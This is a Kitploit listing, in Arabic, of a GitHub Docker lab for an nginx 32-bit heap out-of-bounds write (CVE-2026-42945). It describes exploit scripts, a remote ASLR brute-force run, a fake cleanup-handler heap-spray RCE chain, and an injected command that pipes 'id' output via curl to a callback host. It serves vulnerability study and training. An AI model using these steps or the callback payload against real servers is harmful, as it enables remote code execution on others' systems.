Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-42945-nginx32-lab — CVE-2026-42945 nginx 32-bit exploit lab ASLR enabled | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-42945-nginx32-lab
تحليل الثغرات الأمنيةالاستغلالأمن الويبCTFاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdinosn/cve-2026-42945-nginx32-lab

cve-2026-42945-nginx32-lab

CVE-2026-42945 nginx 32-bit exploit lab ASLR enabled

عرض المستودع
21منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر استغلال CVE-2026-42945 nginx 32-bit

هذا المستودع هو مختبر Docker قابل للتكرار لدراسة CVE-2026-42945 في nginx 1.30.0. يحتوي على هدف 32-bit ضعيف، ومشغل بدائي، ومدقق RCE بعنوان معروف بمساعدة المختبر، ومشغل هجوم قوة عمياء بدون استبطان.

حدود الإثبات مهمة:

  • exploit/trigger_oob.py يوضح بدائية الكتابة خارج الحدود (OOB write) في الكومة.
  • exploit/lab_known_address.py يثبت آلية RCE في Docker، لكنه مدعوم بالمختبر لأنه يقرأ /proc/<pid>/maps عبر docker exec.
  • exploit/remote_bruteforce.py لا يستخدم SSH أو Docker أو /proc أو ptrace أو عناوين معروفة. يقوم بهجوم القوة العمياء على مرشحات صفحات الكومة الآمنة (SAFE heap-page) وصفحات المكتبة (libc-page) ويعتبر الاستدعاء الخارجي (outbound callback) هو إشارة النجاح الوحيدة.

لا يزال مسار القوة العمياء عن بُعد يعتمد على تخطيط ASLR الحالي لعملية nginx الرئيسية. إذا لم يكن عنوان الرش (spray address) قابلاً للتمثيل بواسطة الأبجدية البايتية الآمنة لـ URI المطلوبة، فسيفشل المرور الكامل حتى تتم إعادة تشغيل أو إعادة تحميل عملية nginx الرئيسية وإعادة تدوير ASLR. كما هو الحال مع مدقق العناوين المعروفة، يجب تشغيل مسار RCE الكامل على مضيف Docker Linux x86 أصلي بدلاً من هدف Docker Desktop المحاكى بواسطة QEMU.

المتطلبات

  • دعم Docker مع Compose.
  • دعم حاويات Linux/386.
  • بالنسبة لمدقق RCE بالعنوان المعروف الكامل، استخدم مضيف Docker Linux x86 أصلي حيث يكشف /proc/<pid>/maps عن التخطيط الحقيقي لعنوان 32-bit لعامل nginx. قد يقوم Docker Desktop على مضيفات غير x86 بتشغيل الهدف تحت qemu-i386؛ وهذا يكفي للتحقق من تعطل OOB، ولكن ليس لحسابات RCE بالعنوان المعروف.
  • Python 3 على المضيف لبرامج الاستغلال النصية.

بداية سريعة

بناء وبدء تشغيل مختبر nginx 32-bit الضعيف:

root@kitploit:~
docker compose up -d --build
curl http://127.0.0.1:19331/

تشغيل الكتابة خارج الحدود الخاضعة للتحكم:

root@kitploit:~
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20

تشغيل مدقق RCE الحتمي الخاص بـ Docker فقط:

root@kitploit:~
python3 exploit/lab_known_address.py --restart-until-safe

تشغيل مشغل القوة العمياء بدون استبطان:

root@kitploit:~
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000

يتم استخدام host.docker.internal كمضيف الاستدعاء بحيث يمكن للأمر المضمن في عامل nginx إرسال إخراج id عبر POST إلى المستمع الذي بدأه برنامج الاستغلال. يقوم ملف Compose بتعيين هذا الاسم لمحركات Docker Linux.

دليل الاستغلال

1. بناء وبدء تشغيل المختبر

بناء وبدء تشغيل المختبر 32-bit

هدف Compose يبني nginx 1.30.0 كملف ثنائي 32-bit بنمط الإصدار ويبدأ تشغيله على 127.0.0.1:19331. ويعيد طلب GET / عادي ok، مما يثبت أن الهدف يمكن الوصول إليه قبل بدء الاستغلال.

2. تشغيل الكتابة خارج الحدود (OOB Write)

تشغيل مسار إعادة الكتابة الضعيف

يرسل المشغل مقطع URI مأخوذ مكون من بايتات + عبر مسار rewrite الضعيف بالإضافة إلى set $myvar $1. يتم تخطي + بواسطة NGX_ESCAPE_ARGS، لذلك يقوم مسار النسخ بكتابة ثلاثة بايتات لكل بايت إدخال واحد. يطبع البرنامج النصي حجم الفائض المتوقع قبل إرسال الطلب.

3. التحقق من RCE بمساعدة المختبر

التحقق من آلية RCE بمساعدة Docker فقط

مدقق العنوان المعروف مدعوم عمدًا. يقرأ تخطيطات كومة العامل الحي ومكتبة libc من حاوية Docker، ويحسب عنوان معالج التنظيف المزيف، ويرسل نفس تسلسل الاستغلال على مستوى الشبكة، وينتظر الاستدعاء. إخراج uid=65534(nobody) هو عامل nginx الذي ينفذ id. هذه لقطة شاشة من تشغيل Docker على x86 أصلي؛ في إعدادات Docker Desktop غير x86، قد يتوقف البرنامج النصي مع مطلب مضيف أصلي qemu-i386 بدلاً من ذلك.

4. تشغيل مسار القوة العمياء عن بُعد فقط

تشغيل مسار القوة العمياء بدون استبطان

يزيل برنامج القوة العمياء عن بُعد قراءات العناوين المختبرية. يقوم بتعداد مرشحات صفحات الكومة الآمنة (SAFE heap-page) وصفحات المكتبة (libc-page) ويستخدم فقط الاستدعاء كدليل على النجاح. استنفاد مرور دون استدعاء لا ينفي بدائية الثغرة؛ فهذا يعني عادةً أن تخطيط nginx الرئيسي الحالي غير مواتٍ لأبجدية الحمولة هذه، أو أن المرور يحتاج إلى إعادة تشغيل/إعادة تحميل رئيسية لإعادة تدوير ASLR.

كيف تعمل تسلسل RCE

يستخدم الاستغلال ثلاثة أدوار طلب متزامنة:

  1. /spray يحافظ على تخصيص جسم الطلب حيويًا ويضع سجلًا مزيفًا ngx_pool_cleanup_t بالإضافة إلى أمر الاستدعاء في ذاكرة كومة عامل nginx.
  2. /api/<payload> يصل إلى برنامج rewrite الضعيف ويؤخر إنهاء الطلب النهائي حتى يتم وضع الطلب الضحية.
  3. / ينشئ تجمع الطلبات المجاور الذي يستهدف مؤشر cleanup الخاص به عن طريق الكتابة خارج الحدود الخاضعة للتحكم.

عندما يتم تدمير تجمع الطلبات التالف، يتبع nginx مؤشر التنظيف المكتوب فوقه. في مسار RCE المختبري، يشير معالج التنظيف المزيف إلى system() ويشير مؤشر بياناته إلى:

root@kitploit:~
id|curl -sm3 -d @- http://host.docker.internal:9876/rce

يعالج مستمع الاستغلال هذا الطلب POST كإشارة نجاح RCE الوحيدة.

التنظيف

root@kitploit:~
docker compose down

ملاحظات السلامة

هذا المختبر مخصص للتحقق الأمني المصرح به والتعليم. احتفظ به معزولًا، ولا تعرض منفذ المختبر للشبكات غير الموثوقة، ولا تقم بتشغيل الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

تنزيل الأداة